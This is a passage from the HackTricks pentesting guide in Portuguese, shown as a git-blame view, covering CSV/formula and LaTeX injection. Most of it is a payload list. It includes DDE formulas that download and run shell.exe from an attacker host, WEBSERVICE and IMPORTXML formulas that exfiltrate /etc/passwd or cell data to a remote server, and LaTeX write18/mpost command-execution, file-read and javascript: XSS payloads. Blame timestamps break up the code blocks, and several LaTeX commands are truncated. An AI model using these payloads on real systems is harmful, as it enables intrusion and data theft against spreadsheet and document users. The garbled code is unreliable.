hacktricks/pentesting-web/formula-doc-latex-injection.md

222 lines
13 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Injeção de Fórmula/CSV/Doc/LaTeX
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Injeção de Fórmula
2022-07-10 22:26:52 +00:00
### Informação
2023-06-06 18:56:34 +00:00
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de colocar **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
{% hint style="danger" %}
Atualmente, o **Excel alertará** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado à carga final.
{% endhint %}
2023-06-06 18:56:34 +00:00
### [Lista de palavras](https://github.com/payloadbox/csv-injection-payloads)
2022-09-29 15:13:42 +00:00
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
2023-06-06 18:56:34 +00:00
### Hiperlink
2022-09-29 15:13:42 +00:00
2023-06-06 18:56:34 +00:00
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha final do Excel e realizar solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite as mensagens de aviso).**
2023-06-06 18:56:34 +00:00
Exemplo retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Vamos assumir um cenário de ataque ao sistema de gerenciamento de registros de estudantes de uma escola. O aplicativo permite que o professor insira detalhes dos alunos na escola. O atacante obtém acesso ao aplicativo e deseja que todos os professores que usam o aplicativo sejam comprometidos. Então, o atacante tenta realizar um ataque de injeção de CSV por meio do aplicativo da web.\
2023-06-06 18:56:34 +00:00
O atacante precisa roubar os detalhes de outros alunos. Então, o atacante usa a fórmula de Hiperlink e a insere ao inserir os detalhes do aluno.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
2023-06-06 18:56:34 +00:00
Quando o professor exporta o CSV e clica no hiperlink, os dados sensíveis são enviados para o servidor do atacante.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
2023-06-06 18:56:34 +00:00
O arquivo CSV exportado contém carga maliciosa nele.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
2023-06-06 18:56:34 +00:00
Os detalhes do aluno são registrados no servidor web do atacante.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
2022-07-10 22:26:52 +00:00
### RCE
Para que este exemplo funcione, é **necessário habilitar a seguinte configuração**:\
2023-06-06 18:56:34 +00:00
Arquivo → Opções → Central de Confiabilidade → Configurações da Central de Confiabilidade → Conteúdo Externo → Habilitar o Lançamento do Servidor de Troca Dinâmica de Dados\
ou o uso de uma **versão antiga do Excel**.
A boa notícia é que **essa carga é executada automaticamente quando o arquivo é aberto** (se o usuário aceitar as mensagens de aviso).
2023-06-06 18:56:34 +00:00
É possível executar uma calculadora com a seguinte carga **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
2021-06-29 12:49:13 +00:00
2023-06-06 18:56:34 +00:00
### Mais
2021-06-29 12:49:13 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
2022-07-10 22:26:52 +00:00
### LFI
2021-06-29 12:49:13 +00:00
2022-04-30 20:31:18 +00:00
**LibreOffice Calc**
2021-06-29 12:49:13 +00:00
2023-06-06 18:56:34 +00:00
* Isso lerá a primeira linha do arquivo local /etc/passwd: `='file:///etc/passwd'#$passwd.A1`
* Exfiltrá-lo: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrar mais de uma linha: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltração de DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
2021-06-29 12:49:13 +00:00
2023-06-06 18:56:34 +00:00
**Analisando a carga de exfiltração de DNS:**
2021-06-29 12:49:13 +00:00
* file:///etc/passwd#$passwd.A19 Lerá a 19ª linha do arquivo local /etc/passwd
* ENCODEURL(file:///etc/passwd#$passwd.A19) Codifica em URL os dados retornados
* MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) Similar a substring, lê dados do 1º caractere ao 41º uma maneira muito útil de restringir o comprimento dos nomes de host DNS (limite de 254 caracteres em FQDN e 63 caracteres para um rótulo, ou seja, subdomínio)
* SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) substitui todas as instâncias de % (o caractere especial da codificação de URL) por traço isso garante que apenas caracteres DNS válidos sejam usados
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) Concatena a saída do arquivo (após o processamento acima ter ocorrido) com o FQDN (para o qual temos acesso ao host que é autoritário para o domínio)
* WEBSERVICE fará uma solicitação para este nome DNS inexistente, que podemos então analisar os logs (ou executar tcpdump etc.) no servidor de nome autoritário DNS para o qual temos controle
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
### Google Sheets OOB Data Exfiltration
2021-06-29 12:49:13 +00:00
2023-06-06 18:56:34 +00:00
Em primeiro lugar, vamos apresentar algumas das funções mais interessantes.
2021-06-29 12:49:13 +00:00
2023-06-06 18:56:34 +00:00
**CONCATENATE**: Anexa strings umas às outras.
```
2021-06-29 12:49:13 +00:00
=CONCATENATE(A2:E2)
```
2023-06-06 18:56:34 +00:00
**IMPORTXML**: Importa dados de vários tipos de dados estruturados, incluindo XML, HTML, CSV, TSV e feeds XML RSS e ATOM.
```
2021-06-29 12:49:13 +00:00
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```
2023-06-06 18:56:34 +00:00
**IMPORTFEED**: Importa um feed RSS ou ATOM.
```
2021-06-29 12:49:13 +00:00
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
```
2023-06-06 18:56:34 +00:00
**IMPORTHTML**: Importa dados de uma tabela ou lista dentro de uma página HTML.
```
2021-06-29 12:49:13 +00:00
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
```
2023-06-06 18:56:34 +00:00
**IMPORTRANGE**: Importa um intervalo de células de uma planilha especificada.
```
2021-06-29 12:49:13 +00:00
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```
2023-06-06 18:56:34 +00:00
**IMAGEM**: Insere uma imagem em uma célula.
```
2021-06-29 12:49:13 +00:00
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```
2023-06-06 18:56:34 +00:00
## Injeção de LaTeX
2021-06-29 12:49:13 +00:00
Normalmente, os servidores que encontramos na internet que **convertem código LaTeX em PDF** usam **`pdflatex`**. Este programa usa 3 atributos principais para permitir ou não a execução de comandos:
2022-07-10 22:26:52 +00:00
* **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
2023-06-06 18:56:34 +00:00
* **`--shell-restricted`**: Mesmo que `--shell-escape`, mas **limitado** a um conjunto 'seguro' de \*\*comandos predefinidos (\*\*No Ubuntu 16.04, a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Essa construção é normalmente desabilitada por motivos de segurança.
2022-07-10 22:26:52 +00:00
2023-06-06 18:56:34 +00:00
No entanto, existem outras maneiras de executar comandos, portanto, para evitar RCE, é muito importante usar `--shell-restricted`.
2022-07-10 22:26:52 +00:00
2023-06-06 18:56:34 +00:00
### Ler arquivo <a href="#read-file" id="read-file"></a>
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
2023-06-06 18:56:34 +00:00
#### Ler arquivo de uma única linha
2022-07-10 22:26:52 +00:00
```bash
2022-09-09 11:57:02 +00:00
ewread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
2023-06-06 18:56:34 +00:00
#### Ler arquivo com várias linhas
2022-07-10 22:26:52 +00:00
```bash
2022-09-09 11:57:02 +00:00
ewread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
2023-06-06 18:56:34 +00:00
### Escrever arquivo <a href="#write-file" id="write-file"></a>
2022-07-10 22:26:52 +00:00
```bash
ewwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
2023-06-06 18:56:34 +00:00
### Execução de comando <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
2023-06-06 18:56:34 +00:00
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-lo.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres ruins.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
2023-06-06 18:56:34 +00:00
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
2023-06-06 18:56:34 +00:00
## Referências
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>